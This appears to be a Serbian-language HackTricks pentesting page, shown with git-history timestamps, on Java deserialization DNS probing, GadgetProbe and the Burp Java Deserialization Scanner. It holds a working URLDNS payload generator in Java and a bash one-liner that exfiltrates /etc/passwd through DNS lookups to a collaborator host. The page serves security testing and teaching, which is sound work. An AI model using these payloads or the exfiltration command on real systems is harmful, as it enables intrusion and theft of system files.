hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md

212 lines
11 KiB
Markdown
Raw Normal View History

2024-02-10 13:11:20 +00:00
# Java DNS Deserializacija, GadgetProbe i Java Deserialization Scanner
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-01 17:15:42 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:11:20 +00:00
## DNS zahtev prilikom deserializacije
2024-02-10 13:11:20 +00:00
Klasa `java.net.URL` implementira `Serializable`, što znači da se ova klasa može serijalizovati.
```java
public final class URL implements java.io.Serializable {
```
2024-02-10 13:11:20 +00:00
Ova klasa ima **zanimljivo ponašanje**. Prema dokumentaciji: "**Dva hosta se smatraju ekvivalentnim ako se oba imena hosta mogu prevesti u iste IP adrese**".\
Zatim, svaki put kada objekat URL pozove **bilo koju** od funkcija **`equals`** ili **`hashCode`**, biće poslat **DNS zahtev** za dobijanje IP adrese.
2024-02-10 13:11:20 +00:00
**Pozivanje** funkcije **`hashCode`** iz objekta **URL** je prilično jednostavno, dovoljno je da se taj objekat ubaci u `HashMap` koji će biti deserializovan. To je zato što se na kraju funkcije **`readObject`** iz `HashMap` izvršava sledeći kod:
```java
private void readObject(java.io.ObjectInputStream s)
2024-02-10 13:11:20 +00:00
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
```
2024-02-10 13:11:20 +00:00
Izvršiće se `putVal` sa svakom vrednošću unutar `HashMap`. Međutim, još važniji je poziv funkcije `hash` sa svakom vrednošću. Ovo je kod funkcije `hash`:
```java
static final int hash(Object key) {
2024-02-10 13:11:20 +00:00
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
2024-02-10 13:11:20 +00:00
Kao što možete primetiti, **prilikom de-serijalizacije** `HashMap` objekta, funkcija `hash` će biti izvršena sa svakim objektom i tokom izvršavanja `hash` funkcije će biti izvršen `.hashCode()` objekta. Dakle, ako de-serijalizujete `HashMap` koji sadrži objekat `URL`, objekat `URL` će izvršiti `.hashCode()`.
2024-02-10 13:11:20 +00:00
Sada, pogledajmo kod `URLObject.hashCode()` funkcije:
```java
2024-02-10 13:11:20 +00:00
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
2024-02-10 13:11:20 +00:00
hashCode = handler.hashCode(this);
return hashCode;
```
2024-02-10 13:11:20 +00:00
Kao što možete videti, kada se `URLObject` izvrši `.hashCode()`, poziva se `hashCode(this)`. Nastavak možete videti kod ove funkcije:
```java
2024-02-10 13:11:20 +00:00
protected int hashCode(URL u) {
int h = 0;
2024-02-10 13:11:20 +00:00
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
2024-02-10 13:11:20 +00:00
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
```
2024-02-10 13:11:20 +00:00
Možete videti da se izvršava `getHostAddress` za domen, **pokrećući DNS upit**.
2024-02-10 13:11:20 +00:00
Stoga se ova klasa može **zloupotrebiti** kako bi se **pokrenuo** DNS upit kako bi se **pokazalo** da je **deserijalizacija** moguća, ili čak i za **eksfiltraciju informacija** (možete dodati kao poddomen izlaz izvršenja komande).
2024-02-10 13:11:20 +00:00
### Primer koda za URLDNS payload
2024-02-10 13:11:20 +00:00
Možete pronaći [kod za URLDNS payload iz ysoserial-a ovde](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Međutim, samo radi lakšeg razumevanja kako ga kodirati, kreirao sam svoj PoC (baziran na onom iz ysoserial-a):
```java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
2024-02-10 13:11:20 +00:00
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
2024-02-10 13:11:20 +00:00
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
2024-02-10 13:11:20 +00:00
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
```
2024-02-10 13:11:20 +00:00
### Više informacija
* [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
2024-02-10 13:11:20 +00:00
* U originalnoj ideji, payload za commons collections je promenjen kako bi izvršio DNS upit, ali to je manje pouzdano od predložene metode, ali ovo je post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
2022-05-01 13:25:53 +00:00
## GadgetProbe
2024-02-10 13:11:20 +00:00
Možete preuzeti [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) sa Burp Suite App Store (Extender).
2024-02-10 13:11:20 +00:00
**GadgetProbe** će pokušati da utvrdi da li neke **Java klase postoje** na Java klasi servera kako biste znali **da li** je **ranjiv** na neki poznati exploit.
2024-02-10 13:11:20 +00:00
### Kako radi
2024-02-10 13:11:20 +00:00
**GadgetProbe** će koristiti isti **DNS payload iz prethodne sekcije**, ali **pre** pokretanja DNS upita će **pokušati da deserijalizuje proizvoljnu klasu**. Ako **proizvoljna klasa postoji**, **DNS upit** će biti **poslat** i GadgetProbe će zabeležiti da ta klasa postoji. Ako **DNS** zahtev **nikada nije poslat**, to znači da **proizvoljna klasa nije uspešno deserijalizovana**, pa je ili nije prisutna ili nije **serijalizovana/eksploatabilna**.
2024-02-10 13:11:20 +00:00
Unutar github-a, [**GadgetProbe ima neke liste reči**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) sa Java klasama koje se mogu testirati.
2024-02-06 14:12:47 +00:00
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../.gitbook/assets/intruder4 (1) (1) (1).gif>)
2024-02-10 13:11:20 +00:00
### Više informacija
* [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
2022-05-01 13:25:53 +00:00
## Java Deserialization Scanner
2024-02-10 13:11:20 +00:00
Ovaj skener možete **preuzeti** sa Burp App Store (**Extender**).\
Ova **ekstenzija** ima **pasivne** i aktivne **mogućnosti**.
2024-02-10 13:11:20 +00:00
### Pasivne
2024-02-10 13:11:20 +00:00
Podrazumevano **pasivno proverava** sve zahteve i odgovore poslate **tražeći Java serialized magic bytes** i prikazuje upozorenje o ranjivosti ako se pronađe:
2024-02-06 14:12:47 +00:00
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/image (290).png>)
2024-02-10 13:11:20 +00:00
### Aktivne
2024-02-10 13:11:20 +00:00
**Ručno testiranje**
2024-02-10 13:11:20 +00:00
Možete izabrati zahtev, desni klik i `Send request to DS - Manual Testing`.\
Zatim, unutar _Deserialization Scanner Tab_ --> _Manual testing tab_ možete izabrati **mesto umetanja**. I **pokrenuti testiranje** (Izaberite odgovarajući napad u zavisnosti od korišćenog kodiranja).
2024-02-06 14:12:47 +00:00
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../.gitbook/assets/3-1.png)
2024-02-10 13:11:20 +00:00
Iako se ovo naziva "Ručno testiranje", prilično je **automatizovano**. Automatski će proveriti da li je **deserijalizacija** ranjiva na **bilo koji ysoserial payload** proveravajući biblioteke prisutne na web serveru i istaći one koje su ranjive. Da biste **proverili** da li postoje **ranjive biblioteke**, možete izabrati da pokrenete **Javas Sleeps**, **sleeps** putem **CPU** potrošnje ili korišćenjem **DNS-a**, kako je prethodno pomenuto.
2024-02-10 13:11:20 +00:00
**Eksploatacija**
2024-02-10 13:11:20 +00:00
Kada identifikujete ranjivu biblioteku, možete poslati zahtev na _Exploiting Tab_.\
U ovom tabu morate ponovo **izabrati** mesto **ubacivanja**, napisati **ranjivu biblioteku** za koju želite da kreirate payload i **komandu**. Zatim, samo pritisnite odgovarajući **Attack** dugme.
2024-02-06 14:12:47 +00:00
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/4 (1).png>)
2024-02-10 13:11:20 +00:00
### Java Deserialization DNS Exfil informacije
2022-04-05 22:13:36 +00:00
2024-02-10 13:11:20 +00:00
Napravite svoj payload da izvrši nešto slično sledećem:
2022-04-05 22:13:36 +00:00
```bash
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
```
2024-02-10 13:11:20 +00:00
### Više informacija
2022-04-05 22:13:36 +00:00
2024-02-10 13:11:20 +00:00
* [https://techblog.mediaservice.net/2017/05/pouzdano-otkrivanje-i-iskorišćavanje-ranjivosti-java-deserijalizacije/](https://techblog.mediaservice.net/2017/05/pouzdano-otkrivanje-i-iskorišćavanje-ranjivosti-java-deserijalizacije/)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-01 17:15:42 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>